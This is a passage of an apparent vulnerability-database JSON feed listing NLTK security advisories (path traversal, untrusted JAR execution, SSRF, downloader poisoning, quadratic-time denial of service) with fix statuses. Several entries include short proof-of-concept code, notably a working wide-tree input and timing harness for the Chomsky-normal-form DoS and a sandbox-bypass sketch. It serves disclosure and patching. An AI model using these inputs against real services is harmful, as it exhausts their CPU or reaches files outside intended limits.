nltk.data.find().","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-m42h-3232-vpv3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12243"},{"type":"WEB","url":"https://github.com/nltk/nltk/issues/3504"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3522"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/aec4fce1b84ad725b8975f7365b23a4f626572a9"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-597.yaml"},{"type":"WEB","url":"https://huntr.com/bounties/39aa9354-54ca-4e77-96da-580eb1fe6ed1"},{"type":"WEB","url":"https://securityinfinity.com/research/path-traversal-in-nltks-nltk-data-load-via-percent-encoded-sequences"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-12252","published":"2026-08-13T16:34:58Z","modified":"2026-10-29T21:52:04Z","upstream":["PYSEC-2026-2085","CVE-2026-12252","GHSA-9r6g-266r-89x4"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_3"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.9.4","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK Stanford wrapper classes execute untrusted JAR files without verification","details":"In nltk/nltk versions 3.9.3 and earlier, five Stanford interface classes (StanfordPOSTagger, StanfordNERTagger, StanfordParser, StanfordDependencyParser, and StanfordNeuralDependencyParser) are vulnerable to untrusted JAR code execution. These classes accept user-controllable JAR paths and execute them via the `java()` function, which invokes `subprocess.Popen()` without integrity verification. This vulnerability is identical to CVE-2026-0848, which was fixed for StanfordSegmenter by adding SHA256 verification. However, the fix was not applied to these additional classes, leaving them susceptible to arbitrary code execution when loading untrusted JAR files.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12252"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3743"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/006f4b83d430147b067b81e2cddd226d6fa405c8"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/24777f0cb8c33ed2839d16e0f8169a3c312a6806"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.3"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-2085.yaml"},{"type":"WEB","url":"https://huntr.com/bounties/f5c93982-0cc9-4e2e-bb85-1b6ab29a2efb"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-12261","published":"2026-09-10T18:50:04Z","modified":"2026-10-29T21:52:04Z","upstream":["PYSEC-2026-3954","CVE-2026-12261","GHSA-ffj6-66c4-86gw"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.0","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK downloader allows cross-package resource and model poisoning","details":"A vulnerability in `nltk.downloader` in nltk/nltk versions <= 3.9.4 allows for cross-package resource and model poisoning. The downloader extracts package archives into shared namespaces such as `corpora/` and `taggers/` instead of package-isolated roots, and validates package integrity only after the archive has been written and extracted. This design flaw enables one package to overwrite another package's trusted resources within the same namespace, making the changes immediately active through ordinary NLTK APIs. This issue persists across fresh interpreter restarts and can affect downstream workflows, including machine learning pipelines and reproducibility-sensitive environments.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12261"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3625"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/7a5740af89feeb739193db766e11e85dfe78339c"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3954.yaml"},{"type":"WEB","url":"https://huntr.com/bounties/8b8c381e-08a8-4e4f-bb46-a320c96a364f"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-12372","published":"2026-09-10T18:50:04Z","modified":"2026-10-29T21:52:04Z","upstream":["PYSEC-2026-3955","CVE-2026-12372","GHSA-2jhm-w3mp-jcwr"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.0","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK network URL validation permits SSRF to RFC 6598 shared-address-space hosts","details":"A Server-Side Request Forgery (SSRF) vulnerability exists in nltk/nltk versions 3.9.4 and the current develop branch. The `nltk.pathsec.validate_network_url()` function, intended to prevent SSRF by rejecting internal network addresses, fails to reject IPs in the RFC 6598 shared address space (`100.64.0.0/10`). This occurs because Python's `ipaddress` module does not classify such addresses as `is_private` or `is_global`, and the current guard only checks `is_private` and a few explicit categories. An attacker who can influence a URL passed to NLTK's network-loading helpers can exploit this vulnerability to make a strict-mode application send requests to shared-address-space hosts, potentially exposing non-public infrastructure reachable from the application host. The impact is limited to SSRF-style confidentiality exposure, with no code execution claimed.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12372"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/4a820afa58810cd05049b6c6eae306694d6cfe65"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3955.yaml"},{"type":"WEB","url":"https://huntr.com/bounties/2911b643-571c-42e4-b0c2-9a1fa6f491db"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-126296","published":"2026-11-17T08:58:18Z","modified":"2026-11-17T08:58:18Z","upstream":["GHSA-59f9-gqg8-mqpj","CVE-2026-126296"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.4","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK: Path Traversal in save_maxent_params / load_maxent_params Allow Arbitrary File READ/WRITE","details":"### Summary\nPath traversal in NLTK's save_maxent_params() and load_maxent_params() allows arbitrary file write and arbitrary file read outside the directories permitted by NLTK's pathsec security mechanism.\n\nThis vulnerability was previously reported through Huntr, accepted by the NLTK project, and assigned CVE-2026-15367. A $750 bounty was paid through Huntr (i didnt get the fix bounty). Huntr subsequently shut down its OSS vulnerability program, so I am submitting this report through GitHub to continue the existing disclosure process and preserve the original CVE assignment and researcher credit.\n\n### Details\nThe affected functions are:\n\n- nltk.classify.maxent.load_maxent_params()\n- nltk.classify.maxent.save_maxent_params()\n\nBoth functions construct filesystem paths from the caller-controlled tab_dir argument and access them using Python's built-in open() without passing the paths through NLTK's pathsec validation.\n\nFor example, load_maxent_params() constructs and opens:\n\n- <tab_dir>/weights.txt\n- <tab_dir>/mapping.tab\n- <tab_dir>/labels.txt\n- <tab_dir>/alwayson.tab\n\nSimilarly, save_maxent_params() creates/writes files under the supplied tab_dir.\n\nThis bypasses the security boundary provided by nltk.pathsec. NLTK documents pathsec as the mechanism for restricting filesystem access to permitted roots, with strict enforcement intended to prevent unauthorized filesystem access.\n\nThe relevant implementation is in:\n\nnltk/classify/maxent.py\n\nThe affected functions can be found in the model parameter loading/saving section of that file.\n\nThis issue was previously disclosed through Huntr and accepted before the Huntr OSS program was shut down. The original Huntr report was assigned CVE-2026-15367 and received a $750 bounty.\n\nI am therefore submitting this GitHub Security Advisory primarily as a continuation/transfer of the existing disclosure rather than as a new vulnerability report.\n\n\n### PoC\nThe issue can be reproduced by enabling NLTK's path security enforcement and supplying a tab_dir outside the permitted root.\n\nFor example, with a controlled test environment:\n\n```py\nimport os\nimport tempfile\nimport nltk.pathsec as pathsec\nfrom nltk.classify.maxent import load_maxent_params, save_maxent_params\n\npathsec.ENFORCE = True\n\nallowed_dir = tempfile.mkdtemp()\noutside_dir = tempfile.mkdtemp()\n\n# The same outside-root path is rejected when accessed through pathsec.\ntry:\n    with pathsec.open(os.path.join(outside_dir, \"test.txt\"), \"w\") as f:\n        f.write(\"test\")\nexcept Exception as e:\n    print(\"pathsec.open rejected outside-root access:\", type(e).__name__)\n\n# The vulnerable model-parameter APIs directly use open()\n# on paths derived from tab_dir.\n#\n# Supplying outside_dir as tab_dir causes the functions to access\n# files under outside_dir rather than enforcing the pathsec boundary.\n```\n\nFor save_maxent_params(), the attacker-controlled tab_dir determines where the model parameter files are written.\n\nFor load_maxent_params(), the attacker-controlled tab_dir determines which files are read.\n\nThe important security property being bypassed is that pathsec.ENFORCE = True does not protect these file operations because the affected functions call the built-in open() directly rather than the pathsec-aware file-opening mechanism.\n\n### Impact\nThis is a path traversal / filesystem sandbox bypass resulting in arbitrary local file read and arbitrary local file write.\n\nApplications that use NLTK's pathsec mechanism as a filesystem security boundary may incorrectly assume that model parameter loading and saving are restricted to approved directories.\n\nAn attacker who can influence the tab_dir argument may therefore:\n\n- read files outside the permitted NLTK data directories through load_maxent_params();\n- create or overwrite files outside the permitted directories through save_maxent_params();\n- bypass the filesystem containment provided by nltk.pathsec.\n\nThe practical impact depends on how an application exposes these APIs and what filesystem permissions the NLTK process has.\n\n### Existing CVE / Disclosure History\n\nCVE: CVE-2026-15367\n\nThis vulnerability was previously reported and accepted through Huntr before the Huntr OSS vulnerability program was shut down. The report received a $750 bounty and a CVE was reserved.\n\nI am submitting this report because the original Huntr disclosure workflow is no longer available and the CVE has not yet been published.\n\nPlease associate this report with CVE-2026-15367 rather than assigning a new CVE, unless the NLTK maintainers determine that the existing CVE does not correspond to this issue.\n\n\n## Fix status (2026-09-28)\n\nStatus: MERGED on develop. The load side is in every release since 3.9.4 (including v3.10.3); the save side is on develop and unreleased.\n\nFix commits: f2556f9e1 (load_maxent_params reads through open_datafile on a PathPointer whose open is pathsec.open; contained in tag 3.9.4 and every later tag) and 2a92b7182 (save_maxent_params validates tab_dir and writes every parameter file through pathsec.open), PR #3759 \"Harden maxent / named-entity model-artifact saves against shared-tmp planting\", merged 2026-08-18, merge commit a167e94bc on develop.\n\nProbe: nltk/test/unit/security_probes/ghsa_59f9_gqg8_mqpj.py, added on the open PR #3753 (head da55cab0e at the time of this note; measured on its earlier head 238f81500) together with commit 15f84f036 (load_maxent_params accepts a plain str or Path through FileSystemPathPointer). Verdict on 238f81500: FIXED (save and load outside every data root refused by pathsec). The same probe run against develop 2fa3f48fe reports the save refused and a PathPointer load refused, while a str or Path tab_dir raises AttributeError before any file is opened (the probe counts that crash as not fixed; no file is read or written).","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-59f9-gqg8-mqpj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-126296"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3759"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/2a92b71827d754ae8920261e7ed0c4bb283ab2d7"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.4"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-before-3.10.4-path-traversal-via-save-maxent-params-and-load-maxent-params"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-126297","published":"2026-11-14T09:40:04Z","modified":"2026-11-14T09:40:04Z","upstream":["GHSA-v8f3-6phw-6mh9","CVE-2026-126297"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.4","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK: Quadratic-time CPU denial of service in ConllCorpusReader SRL instance builder via nested span rescan","details":"## Summary\n\n`ConllCorpusReader.srl_instances()` builds semantic-role-labeling instances from a CoNLL corpus block. For a sentence block with P predicates and P span columns, the instance builder rescans every span column (and every span within it) once per predicate while searching for each predicate's head, giving O(P^2 * R) work. A single well-formed block that places the head span in the last column forces the full scan on every predicate, so an application that reads an attacker-supplied CoNLL SRL corpus can be driven into tens of seconds of single-threaded CPU. No authentication or user interaction is required.\n\n## Root Cause\n\n`_get_srl_instances` iterates over the P predicates of a block; for each predicate it scans every span list and every span within it, using an inner `break` that stops only when a span tagged `V` or `C-V` containing the predicate word is found. When the sole head span is placed in the last span column, no earlier column matches, so the `for ... else: continue` construct traverses every span of every earlier column before matching. Over P predicates each scanning up to P columns of R spans, the cost is O(P^2 * R). The block is read whole with no size cap, and the grid-consistency check enforces only uniform column count, not a bound on P, R, or total work.\n\n```text\nAffected function:\n- nltk.corpus.reader.conll.ConllCorpusReader._get_srl_instances (nltk/corpus/reader/conll.py:394-424; nested rescan at lines 405-419)\nPublic entry point: nltk.corpus.reader.conll.ConllCorpusReader.srl_instances (nltk/corpus/reader/conll.py:158-169).\n```\n\n## Impact\n\nAn attacker who can supply a CoNLL corpus that an application loads and iterates with `srl_instances()` causes sustained single-threaded CPU consumption (availability loss). The path is network-reachable through any corpus-ingestion surface (AV:N) and needs no privileges or user interaction (PR:N, UI:N). Because the cost is super-linear in attacker-chosen predicate and column counts, a roughly 1 MB crafted corpus pins a core for tens of seconds and a few megabytes reaches minutes. Confidentiality and integrity are not affected. The NLTK regular-expression wall-clock timeout wraps regex matching only and does not cover this pure-Python nested loop over the parsed grid. Exploitation requires the application to use the SRL-specific API on untrusted CoNLL data with `words`, `pos`, `tree`, and `srl` columns; a deployment that never calls `srl_instances()` is unaffected.\n\n## Proof of Concept\n\n```text\nEnvironment: nltk 3.10.3, CPython. Stage a crafted CoNLL corpus under an authorized data root and iterate srl_instances().\nCorpus construction: one blank-line-delimited block with P predicate rows and P SRL span columns, the sole \"V\" head span in the last column.\n```\n\n```python\nimport time, os, tempfile\nfrom nltk.corpus.reader.conll import ConllCorpusReader\n\ndef build_block(n):\n    # n predicates, n SRL columns; the single V head placed in the last column\n    # (columns: words pos tree srl...): emit n predicate rows and n SRL span\n    # columns, with the single \"V\" head span placed in the final column.\n    ...\n\nfor n in (40, 80, 160, 320):\n    root = tempfile.mkdtemp()\n    open(os.path.join(root, \"c.conll\"), \"w\").write(build_block(n))\n    r = ConllCorpusReader(root, [\"c.conll\"], (\"words\", \"pos\", \"tree\", \"srl\"))\n    t = time.perf_counter()\n    list(r.srl_instances())\n    print(n, round(time.perf_counter() - t, 3), \"s\")\n```\n\n```text\nNegative control (single predicate): n=40 -> 1.88 ms ; n=320 -> 4.45 ms      (flat)\nAttack (P=R=n):  n=40 -> 0.022s (10 KB) | n=80 -> 0.148s (39 KB) | n=160 -> 1.164s (156 KB) | n=320 -> 10.002s (619 KB)\n```\n\nThe attack timing rises about 8x per doubling of n while the file grows only about 4x, confirming super-linear cost driven by attacker-chosen predicate and column count; the single-predicate control stays in the millisecond range.\n\n## Attack Chain\n\n1. **Exposure:** An application loads an attacker-supplied CoNLL corpus (columns include `srl`) and iterates it with the public `ConllCorpusReader(...).srl_instances()`.\n2. **Control:** The attacker controls the predicate count P, the span-column count, and the placement of the single head span; the block is read whole with no size cap.\n3. **Path:** `srl_instances()` calls `_get_srl_instances`, which pairs each predicate against the span columns via a doubly-nested scan.\n4. **Guard:** The inner `break` on the first matching `V` or `C-V` head is defeated by placing the sole head span in the last column, so every earlier column is scanned in full. The path-containment sandbox bounds where files load, not how much work a block costs.\n5. **Primitive:** The nested rescan performs O(P^2 * R) span comparisons with no work cap or timeout.\n6. **Result:** Sustained single-core CPU exhaustion; a roughly 1 MB corpus costs tens of seconds and scales super-linearly, blocking the processing thread.\n\n## Bypass Evidence\n\nThe only short-circuit on this path is the inner `break` that fires when a predicate's `V` or `C-V` head span is found. It is defeated by construction: placing the sole head span in the last span column means no earlier column matches, so the `for ... else: continue` traverses every span of every earlier column for every predicate. This was confirmed in source (nltk/corpus/reader/conll.py:405-419) and reproduced end-to-end through the real public `srl_instances()` API, where the attack timing scales super-linearly while a single-predicate control stays flat. The path-containment sandbox is a file-location control and imposes no bound on parse cost, and the regular-expression timeout does not wrap this loop. The strongest disproof attempts (that Python `range` membership is O(1) so the loop is linear, and that the `break` fires early) both fail: the O(1) membership test is evaluated once per span, and the number of spans traversed is exactly what the last-column head placement maximizes.\n\n## Affected Versions\n\n- `Ecosystem: PyPI (pip)`\n- `Package: nltk`\n- `Confirmed affected range: <= 3.10.3`\n- `Latest release checked: 3.10.3 (PyPI, https://pypi.org/pypi/nltk/json)`\n- `Fix status: 3.10.4`\n\nThe nested rescan ships in every release carrying this reader and is present in the current latest published release, 3.10.3. The lower boundary was not bisected, so the introducing version is left open; the behavior predates the recent regular-expression hardening.\n\n## Suggested Fix\n\nReplace the per-predicate linear search over all span columns with a single pass that indexes head spans by word position (for example, build a map from word index to the owning span column once, then look up each predicate in constant time), reducing the total cost to about O(P * R). As defense in depth, bound the predicate and span counts accepted from a single block and process untrusted corpora under a CPU or time budget. No configuration-only mitigation removes the exposure for a service that must read untrusted CoNLL SRL data; until a fix ships, callers should cap accepted corpus size and isolate the parsing worker.\n\nReported by zx (GitHub: @manus-pi).\n\n\n## Fix status (2026-09-28)\n\nPR: #3753 \"[Do not merge yet] Fix GHSA-8mgp-746c-j5xp: URL-scheme bypass of pathsec.validate_path\", open; head da55cab0e at the time of this note (a develop merge on top of 238f81500, the head on which the verdicts below were measured).\n\nFix commit: cf12a5e6a \"Patch seven algorithmic-DoS and path/exec GHSA classes across all affected modules\" (ConllCorpusReader._get_srl_instances builds a one-pass wordnum to spanlist index instead of rescanning per predicate).\n\nProbe: nltk/test/unit/security_probes/ghsa_v8f3_6phw_6mh9.py (on the PR). Verdict on the PR head: FIXED (srl_instances scaled 3.9x over 4x predicates). The same probe run against develop 2fa3f48fe: VULNERABLE (45.8x over 4x predicates).","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-v8f3-6phw-6mh9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-126297"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3933"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/7bae75fc0f7b1f057ff7d89d24c81bb5a4a0f05a"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/9cacbb95d97eaac7debb30d6e7decbe74d2c635f"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.4"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-before-3.10.4-cpu-denial-of-service-via-conllcorpusreader-srl-instances"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-126298","published":"2026-11-14T09:40:04Z","modified":"2026-11-14T09:40:04Z","upstream":["GHSA-r53h-rw34-8h97","CVE-2026-126298"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.4","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK: Quadratic-time CPU denial of service in Tree.chomsky_normal_form right-factor binarization via list.pop(0)","details":"## Summary\n\n`Tree.chomsky_normal_form()` binarizes a parse tree and defaults to right factoring. For a node with N children the right-factor branch repeatedly removes the first element of a working list with `list.pop(0)`, which shifts all remaining elements each time, so binarizing one wide node costs O(N^2). An application that converts an attacker-supplied treebank tree to Chomsky Normal Form can be forced into tens of seconds of single-threaded CPU by one wide flat tree. No authentication or user interaction is required.\n\n## Root Cause\n\nIn the default right-factor branch the transform executes `curNode[0:] = [nodeCopy.pop(0), newNode]` inside a loop over the N children of a node. `list.pop(0)` is O(len) because it shifts every remaining element down by one; performed N-2 times over a shrinking length-N list this sums to O(N^2). The left-factor branch instead uses `nodeCopy.pop()` (removing the last element), which is O(1) and linear overall, so the two branches differ only by this front-versus-back removal. No cap is placed on the child count of a node, and the public `Tree.fromstring` parser accepts an arbitrarily wide bracketed tree.\n\n```text\nAffected function:\n- nltk.tree.transforms.chomsky_normal_form (nltk/tree/transforms.py; right-factor sink at line 168, O(1) left control at line 179)\nPublic entry points: nltk.tree.Tree.chomsky_normal_form (nltk/tree/tree.py:455, default factor=\"right\"); nltk.tree.Tree.fromstring (nltk/tree/tree.py:592).\n```\n\n## Impact\n\nAn attacker who can influence the tree that an application normalizes to Chomsky Normal Form causes sustained single-threaded CPU consumption (availability loss). The path is network-reachable (AV:N) and needs no privileges or user interaction (PR:N, UI:N). Because the cost grows quadratically with the attacker-chosen child count, roughly 1.5 MB of treebank input costs about 14 seconds on one core and scales as N^2 above that. Confidentiality and integrity are not affected. The NLTK regular-expression wall-clock timeout wraps regex matching only and does not wrap this pure-Python list loop.\n\n## Proof of Concept\n\n```text\nEnvironment: nltk 3.10.3, CPython. Drive the public transform on a wide flat tree.\n```\n\n```python\nimport time\nfrom nltk.tree import Tree\n\nfor N in (80000, 160000, 320000):\n    s = \"(S \" + \"(A a)\" * N + \")\"\n    t = Tree.fromstring(s)\n    start = time.perf_counter()\n    t.chomsky_normal_form()          # default factor=\"right\"\n    print(\"right\", N, round(time.perf_counter() - start, 3), \"s\")\n```\n\n```text\nright (default):  N=80000 1.972s | N=160000 5.004s (2.54x) | N=320000 14.518s (2.90x)   -> super-linear\nleft  (control):  N=80000 1.399s | N=160000 2.731s (1.95x) | N=320000  5.379s (1.97x)   -> linear\n```\n\n## Attack Chain\n\n1. **Exposure:** An application parses an attacker-influenced treebank string with the public `Tree.fromstring` and normalizes it with `Tree.chomsky_normal_form()`.\n2. **Control:** The attacker controls the number of children of a node (a wide flat tree such as `(S (A a)(A a)...(A a))`); no child-count cap exists in `fromstring` or the transform.\n3. **Path:** `Tree.chomsky_normal_form` delegates to `nltk.tree.transforms.chomsky_normal_form` with the default `factor=\"right\"`.\n4. **Guard:** None. There is no width bound on the loop, and the regex match timeout does not wrap this pure-Python list operation.\n5. **Primitive:** `curNode[0:] = [nodeCopy.pop(0), newNode]` performs an O(N) front shift on each of N iterations.\n6. **Result:** O(N^2) single-core CPU exhaustion; roughly 1.5 MB of input costs about 14 seconds and scales quadratically, blocking the processing thread.\n\n## Bypass Evidence\n\nThere is no guard to bypass on this path: neither `Tree.fromstring` nor `chomsky_normal_form` caps the child count, and the regular-expression wall-clock timeout wraps only regex matching, not this list loop. The finding was confirmed by fresh timing that isolates the cause: the right-factor default and the left-factor branch build the identical bounded head strings and copy the node once, so the only differing term is `pop(0)` versus `pop()`. The measured right-versus-left divergence grows with N (right rises toward a 4x per-doubling ratio while left holds near 2x), which proves a quadratic component beyond the shared linear costs. A relevant corroboration is that the inverse transform `un_chomsky_normal_form` was already rewritten to a single linear pass to remove exactly this quadratic class (see the comment at nltk/tree/transforms.py:195-201), while the forward default path retained the `pop(0)` idiom. The strongest disproof attempt (that the head-string join dominates and is linear) fails because that join is bounded and present in both branches and therefore cannot explain the branch-dependent quadratic growth.\n\n## Affected Versions\n\n- `Ecosystem: PyPI (pip)`\n- `Package: nltk`\n- `Confirmed affected range: <= 3.10.3`\n- `Latest release checked: 3.10.3 (PyPI, https://pypi.org/pypi/nltk/json)`\n- `Fix status: 3.10.4`\n\nThe right-factor `pop(0)` idiom ships in every release carrying this transform and is present in the current latest published release, 3.10.3. The lower boundary was not bisected, so the introducing version is left open.\n\n## Suggested Fix\n\nRewrite the right-factor binarization to avoid removing from the front of a list: iterate the children with an index cursor or a `collections.deque` so each step is constant time, mirroring the linear rebuild already applied to `un_chomsky_normal_form`. As defense in depth, bound the child count accepted for normalization and raise a clear error past a configurable maximum. No configuration-only mitigation removes the exposure for a service that normalizes untrusted trees; until a fix ships, callers should cap accepted tree width and run the transform under a CPU or time budget in an isolated worker.\n\nReported by zx (GitHub: @manus-pi).\n\n\n## Fix status (2026-09-28)\n\nPR: #3909 \"Fix quadratic DoS in Tree.chomsky_normal_form right-factor binarization (GHSA-r53h-rw34-8h97)\", merged 2026-09-23, merge commit 2f53e20ce on develop.\n\nFix commits: 457ebe349 (linear front consume in chomsky_normal_form) and 677857dca (refuse a binarisation that would nest a tree beyond MAX_TREE_DEPTH). Follow-up #3917 (merge 9ba132e43, commit f0686dea6) walks Tree equality and conversion with an explicit stack so the deep-tree tests pass on Python 3.10 and 3.11.\n\nProbe: nltk/test/unit/security_probes/ghsa_r53h_rw34_8h97.py; verdict on develop 2fa3f48fe: FIXED (chomsky_normal_form scales 5.1x over a 4x input).","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-r53h-rw34-8h97"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-126298"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3909"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/457ebe349f8dd8080224f76a64aff806dd437057"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/677857dcafd84e4591865d976b562a27dfde566e"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.4"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-before-3.10.4-quadratic-cpu-denial-of-service-via-tree-chomsky-normal-form"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-126299","published":"2026-11-14T09:40:04Z","modified":"2026-11-14T09:40:04Z","upstream":["GHSA-89p3-fcch-88ph","CVE-2026-126299"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.4","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.4","key":"pkg:pypi/nltk@3.10.4","resource":"nltk"}]},"summary":"NLTK: Quadratic-time CPU denial of service in CCG lexicon parser (fromstring) on wide bracket bodies and operator chains","details":"## Summary\n\nThe public CCG lexicon parser `nltk.ccg.lexicon.fromstring` parses caller-influenced lexicon text with two pure-Python loops whose cost is quadratic in the input width. A service that parses an untrusted CCG lexicon string can 